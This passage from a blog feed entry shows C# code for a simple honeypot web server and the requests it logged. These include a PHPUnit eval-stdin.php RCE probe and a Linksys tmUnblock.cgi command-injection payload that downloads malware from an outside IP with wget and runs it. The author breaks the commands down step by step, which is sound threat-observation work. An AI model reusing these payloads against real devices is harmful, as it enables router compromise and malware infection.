            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;&amp;gt;&amp;gt;&amp;gt;Headers: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;&amp;gt;&amp;gt;&amp;gt;Body: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ResponseData&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;Hello &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RemoteEndPoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ContentType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ContentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusCode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Response&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;HandlePost&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Request&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Response&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Count&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;++)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;&amp;gt;&amp;gt;&amp;gt;Headers: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;&amp;gt;&amp;gt;&amp;gt;Body: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ResponseData&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;Hello &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RemoteEndPoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ContentType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ContentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StatusCode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebApp&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NanoWebApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NanoWebApp&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Startup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;HoneyPotEndPoint&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;honeyPotEndPoint&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;HoneyPotEndPoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;AddEndPoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;honeyPotEndPoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;WebApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WebAppConfig&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MainClass&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Init&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;WebAppConfig&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;appConfig&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;WebAppConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Port&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;8080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Domain&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;WebApp&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webApp&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;WebApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;webApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ReadLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now we have set up the honey pot we just wait.&lt;/p&gt;

&lt;h3 id=&quot;the-results&quot;&gt;The results&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;After leaving the honey pot running over night I came back it to find quite a lot of request had been made.&lt;/p&gt;

&lt;p&gt;A lot of the requests came unsurprisingly from &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_crawler&quot;&gt;web crawlers&lt;/a&gt;, such as this one from Censys:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;20:13:23.402 Handling GET to / request from 167.94.145.60
&amp;gt;&amp;gt;&amp;gt;Headers: HoneyPotIp:8080 Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) */* gzip 
&amp;gt;&amp;gt;&amp;gt;Body: 
20:13:23.403 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And this request which looking at the IP seems to have come from &lt;a href=&quot;https://www.internet-census.org/home.html&quot;&gt;Internet Census Group&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;22:22:40.321 Handling GET to / request from 23.251.102.74
&amp;gt;&amp;gt;&amp;gt;Headers: 90.216.208.6:8080 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 */* gzip 
&amp;gt;&amp;gt;&amp;gt;Body: 
22:22:40.322 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;p&gt;Then there are the requests that don’t looks so innocent, such as this one:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;22:38:26.532 Handling POST to /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php request from 185.7.214.104
&amp;gt;&amp;gt;&amp;gt;Headers: HoneyPotIp:8080 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 19 application/x-www-form-urlencoded gzip close 
&amp;gt;&amp;gt;&amp;gt;Body: &amp;lt;?=md5(&quot;phpunit&quot;)?&amp;gt;
22:38:26.536 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Searching for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval-stdin.php&lt;/code&gt; we can find a few &lt;a href=&quot;https://support.alertlogic.com/hc/en-us/articles/115005711043-PHPUnit-eval-stdin-php-Unauthenticated-RCE&quot;&gt;articles&lt;/a&gt; relating to a known remote code execution (RCE) vulnerability exists in the in the PHPUnit software&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;But the most interesting requests are those that are trying to infect our device with malware:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;03:01:00.114 Handling POST to /tmUnblock.cgi request from 45.164.20.154
&amp;gt;&amp;gt;&amp;gt;Headers: 91.218.67.131:80 keep-alive gzip, deflate / python-requests/2.20.0 227 application/x-www-form-urlencoded 
&amp;gt;&amp;gt;&amp;gt;Body: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+mpsl%3B+wget+http%3A%2F%2F91.218.67.131%2Freaper%2Freap.mpsl%3B+chmod+777+reap.mpsl%3B+.%2Freap.mpsl+Reaper.linksys%60&amp;amp;action=&amp;amp;ttcp_num=2&amp;amp;ttcp_size=2&amp;amp;submit_button=&amp;amp;change_action=&amp;amp;commit=0&amp;amp;StartEPI=1
03:01:00.115 completed response status 200
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In the above request, we can see that the request is attempting to exploit a &lt;a href=&quot;https://en.wikipedia.org/wiki/Shellshock_(software_bug)&quot;&gt;shellshock&lt;/a&gt; style exploit, by posting a load of commands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmUnblock.cgi&lt;/code&gt;. Searching around on the internet it seems &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmUnblock.cgi&lt;/code&gt; is found in a lot of Cisco/Linksys routers so we can assume these devices are the intended target for this attack.&lt;/p&gt;

&lt;p&gt;Looking at the body we can see the request it trying to inject the following code&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ttcp_ip=-h+\`cd+/tmp;+rm+-rf+mpsl;+wget+http://91.218.67.131/reaper/reap.mpsl;+chmod+777+reap.mpsl;+./reap.mpsl+Reaper.linksys\`&amp;amp;action=&amp;amp;ttcp_num=2&amp;amp;ttcp_size=2&amp;amp;submit_button=&amp;amp;change_action=&amp;amp;commit=0&amp;amp;StartEPI=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Inside the HTTP code there are the following shell commands&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; mspl
wget http://91.218.67.131/reaper/reap.mpsl 
&lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;777 reap.mpsl 
./reap.mpsl Reaper.linksys&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;breaking down the code we can see its trying to do the following:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd /tmp&lt;/code&gt; chagne the current directroy to /tmp&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm -rf mspl&lt;/code&gt; remove (delete) the file mspl&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget http://91.218.67.131/reaper/reap.mpsl&lt;/code&gt; use &lt;a href=&quot;https://www.gnu.org/software/wget/&quot;&gt;wget&lt;/a&gt; to download the attackers malware to ./&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod 777 reap.mpsl&lt;/code&gt; change the file permitions of the downloaded malware file to make it executable&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./reap.mpsl Reaper.linksys&lt;/code&gt; run the malware&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Using &lt;a href=&quot;http://www.curl.se&quot;&gt;curl&lt;/a&gt; I download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read.mpsl&lt;/code&gt; to disassemble and analyse it with &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt;, see the next page for my analysis.&lt;/p&gt;</content><author><name></name></author><category term="Honey-pot" /><category term="Honey-Pot" /><category term="Malware" /><summary type="html">When playing around with a C# web app library, I noticed the web app I was writing would periodically get random (and sometimes strange) requests from unknown sources, so I thought it would be fun to set up a honey pot and record the requests.</summary></entry></feed>